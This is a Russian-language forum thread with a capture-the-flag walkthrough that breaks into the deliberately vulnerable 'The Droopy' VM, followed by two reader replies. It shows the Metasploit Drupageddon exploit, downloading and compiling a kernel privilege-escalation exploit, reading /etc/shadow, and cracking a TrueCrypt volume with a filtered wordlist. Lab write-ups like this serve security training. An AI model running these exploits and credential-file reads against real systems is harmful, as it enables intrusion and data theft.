CTF. Взлом The Droopy VM.

Vander

Administrator
Gold Team
16.01.2016
1 086
2 780
#1
Всем привет!
В этой статье, я пошагово опишу взлом в рамках CTF (Capture The Flag) Challenge, уязвимой системы под названием The Droopy. Это проникновение будет осуществить немного сложнее предыдущего ( https://codeby.net/forum/threads/ctf-vzlom-mr-robot-vm.57930/#post-263816 ). Но в нем я покажу, как использовать (компилировать) эксплойты не включенные в Metasploit, скачивая их напрямую с сайта exploit-db.com. А так же покажу, как использовать полезную программу – VeraCrypt.
Итак, начнем.

Скачиваем систему отсюда - >
Для просмотра контента необходимо: Войти или зарегистрироваться


Импортируем ее в Oracle VM Virtual Box, затем запускаем. ОС, используемая для взлома -> Kali Linux Rolling.

upload_2016-9-20_16-53-28.png

Переходим в терминал Kali Linux и запускаем утилиту netdiscover, для определения IP нашей цели в сети.

upload_2016-9-20_16-54-14.png

Адрес целевой системы - 172.16.0.195. Теперь запускаем агрессивный тип сканирования с помощью команды:

> nmap –A 172.16.0.195

upload_2016-9-20_16-54-36.png


Результат сканирования показал, что есть открытый порт – 80. Используемая система - Drupal 7 версии, которая известна своими уязвимостями. Начнем использовать их, чтобы получить в итоге открытую сессию meterpreter.

Drupal — система управления содержимым (CMS), используемая также как каркас для веб-приложений (CMF), написанная на языке PHP и использующая в качестве хранилища данных реляционную базу данных (поддерживаются MySQL, PostgreSQL и другие). Drupal является свободным программным обеспечением, защищённым лицензией GPL, и развивается усилиями энтузиастов со всего мира.
Запускаем Metasploit Framework и вводим:

> search drupal


upload_2016-9-20_16-55-54.png

Перед нами список уязвимостей, которые мы сможем применить для атаки нашей цели. Мы будем использовать эксплоит под названием drupal_drupageddon.
Для этого последовательно вводим команды:

> use exploit/multi/http/drupal_drupageddon

> set RHOST 172.16.0.195 (IP целевого хоста)

> set RPORT 80


> exploit

upload_2016-9-20_16-56-33.png

В случае успешного срабатывания эксплойта получаем открытую сессию meterpreter. Идем дальше, пишем:

> shell

> echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asdf.py
(Команда позволит создать в указанной папке скрипт, который даст нам доступ к pty)

> python /tmp/asdf.py

Выполненные команды позволили нам войти в терминал. Следующим шагом, узнаем версию операционной системы.

> lsb_release –a

upload_2016-9-20_16-58-9.png

Теперь мы знаем версию ОС, это Ubuntu 14.04. Давайте попробуем найти рабочий эксплоит для этой системы непосредственно на exploit-db.com.
Производим поиск на сайте по ключевым словам – ubuntu 14.04
По завершении поиска выбираем подходящий эксплоит:

upload_2016-9-20_16-58-35.png

Выбранный эксплоит не доступен в Metasploit Framework, поэтому пойдем иным путем, о котором я упоминал в начале статьи:

upload_2016-9-20_16-58-59.png

Теперь необходимо создать исполняемый файл, для загрузки в него эксплойта. Но прежде, находим директорию, в которую мы можем вносить изменения, вводим следующее:

> find / -writable -type d 2>/dev/null (Поиск подходящей директории)

upload_2016-9-20_16-59-25.png

Для наших целей подходит каталог /tmp.

> cd /tmp/ (Переходим в директорию /tmp)

> wget
Для просмотра контента необходимо: Войти или зарегистрироваться
(Этой командой загружаем эксплоит)

В случае успеха получаем такой вывод:

upload_2016-9-20_17-0-20.png

Скачанный файл необходимо скомпилировать и запустить, таки путем мы получим root-доступ к системе. Чтобы сделать это, вводим команды, как показано ниже:

> mv 37292 37292.c (Перед началом компиляции переименуем файл)

> gcc 37292.c -o kernel (Эта команда скомпилирует указанный файл и сохранит его под именем kernel)

> chmod 777 kernel (Этой командой разрешим исполнение файла)

> ./kernel (Выполняем)

После совершения этих действий мы получаем доступ супер-пользователя в системе. Убедиться в этом можно с помощью команды:

> whoami (Покажет в качестве кого мы находимся в системе)

> cd /root (Перейдем в каталог /root)

> ls –a (Посмотрим его содержимое)

upload_2016-9-20_17-1-54.png

Для нас интерес представляет файл dave.tc. Так как это значит, что:


ТИП ФАЙЛА - TrueCrypt Disk Volume Format

СОЗДАТЕЛЬ - TrueCrypt

Если попробовать открыть его в браузере, то он предложить сохранить файл. Пробуем скачать его, так как у нас есть легкий доступ ко всем каталогам, то просто скопируем dave.tc в каталог var/www/html, а затем обратившись по адресу 172.16.0.ХХХ/dave.tc, сохраним его себе на компьютер.

> cp dave.tc /var/www/html

upload_2016-9-20_17-2-32.png

Давайте откроем файл с помощью VeraCrypt. Для справки, VeraCrypt — это программа для шифрования на-лету, которая основана на коде TrueCrypt. VeraCrypt умеет шифровать разделы целые диски, и может использоваться аутентификация перед загрузкой диска, который полностью зашифрован. По словам разработчика решены некоторые проблемы безопасности, которые присутствовали в TrueCrypt. В VeraCrypt используется XTS режим работы. Подробнее можно узнать из этой инструкции - https://codeby.net/bezopasnost/instrukcija-po-ispolzovaniju-veracrypt/

Скачиваем и устанавливаем VeraCrypt из официального источника –>
Для просмотра контента необходимо: Войти или зарегистрироваться


upload_2016-9-20_17-2-57.png

Запускаем программу и выбираем 1 слот для монтирования. Указываем путь к нашему файлу, жмем Mount.

upload_2016-9-20_17-3-15.png

При попытке открыть файл, он попросит пароль, которого у нас нет, но мы попробуем отыскать его.

Для начала заглянем в файл, который содержит все хэши паролей. В нашей системе это /etc/shadow. Подробнее о нем в этой статье - > https://codeby.net/bezopasnost/zashhita-s-pomoshhju-parolja-v-linux-fajl-etcshadow/

> cat /etc/shadow

upload_2016-9-20_17-3-38.png

Теперь у нас есть хэш пароля root, необходимо определить, какой тип хэша использовался. В этом поможет сервис -
Для просмотра контента необходимо: Войти или зарегистрироваться


Копируем, вставляем его в форму, получаем возможный тип хэша:
upload_2016-9-20_17-4-2.png

В данном случае это SHA512, но к нему мы вернемся чуть позже. Во время предыдущих исследований, мы ко всему прочему находили и почту, она хранится в /var/mail/www-data. Прочтем ее:

> cat /var/mail/www-data

upload_2016-9-20_17-4-23.png


После прочтения почты становится ясно наверняка, что:

· Пароль состоит из 11 символов

· Пароль как-то связан с академией

Чтобы найти его, нужно отфильтровать словарь rockyou.txt. Я рекомендую это сделать, так как, он содержит более 10 млн. строк. Если запустить перебор не фильтруя, это может занять очень много времени. Ниже представлена команда, которая отфильтрует словарь по указанным критериям:

> awk ‘length($1) == 11 { print $1 }’ /usr/share/wordlists/rockyou.txt |egrep ‘^[[:lower:]]+academy’ > /root/Desktop/pazzz.txt


upload_2016-9-20_17-5-0.png

Для справки:

AWK — интерпретируемый скриптовый C-подобный язык построчного разбора и обработки входного потока (например, текстового файла) по заданным шаблонам (регулярным выражениям). Используется в bash (SH) скриптах.

Теперь, когда получен отфильтрованный файл словаря, вводим команду:

> truecrack –truecrypt /root/Download/dave.tc -k SHA512 -w /root/Desktop/pazzzz.txt

upload_2016-9-20_17-5-28.png

С помощью этой команды пароль обнаруживается за считанные секунды. Теперь можем опять запускать VeraCrypt и использовать полученные данные.

upload_2016-9-20_17-6-6.png

Когда монтирование заканчивается, заходим в раздел, и по пути, указанному на скриншоте находим текстовый файл flag.txt. Запускаем:

upload_2016-9-20_17-6-27.png

Флаг получен и на этом взлом системы The Droopy заканчивается.

Спасибо за внимание.

upload_2016-9-20_17-7-28.png
 

Inject0r

Well-known member
03.09.2016
114
173
#2
спасибо за качественную и практическую информацию! :)

Правда у меня по ходу выполнения возникло 2 проблемы:
1. Сайт не смог определить тип хэша (проверял вот эту часть: EFE6LjrVpz2yJrd2QSQEe/mGQ.8q3xXi9s5CJL95ngeh95PS91e10XLav4gRE1z4jv1Wmb6WH24yVQA6GKwEl/)
2. VeraCrypt выдал ошибку при монтировании
 
Последнее редактирование модератором:

Vander

Administrator
Gold Team
16.01.2016
1 086
2 780
#3
спасибо за качественную и практическую информацию! :)

Правда у меня по ходу выполнения возникло 2 проблемы:
1. Сайт не смог определить тип хэша (проверял вот эту часть: EFE6LjrVpz2yJrd2QSQEe/mGQ.8q3xXi9s5CJL95ngeh95PS91e10XLav4gRE1z4jv1Wmb6WH24yVQA6GKwEl/)
2. VeraCrypt выдал ошибку при монтировании
1. Сайт не смог определить тип хэша - Тоже столкнулся с этим, далеко не с первого раза определил. Можно попробовать либо другие сервисы, либо пропустить, т.к. это не самое важное)
2. Пароль правильно вводите? Стоит галочка на TrueCrypt Mode ?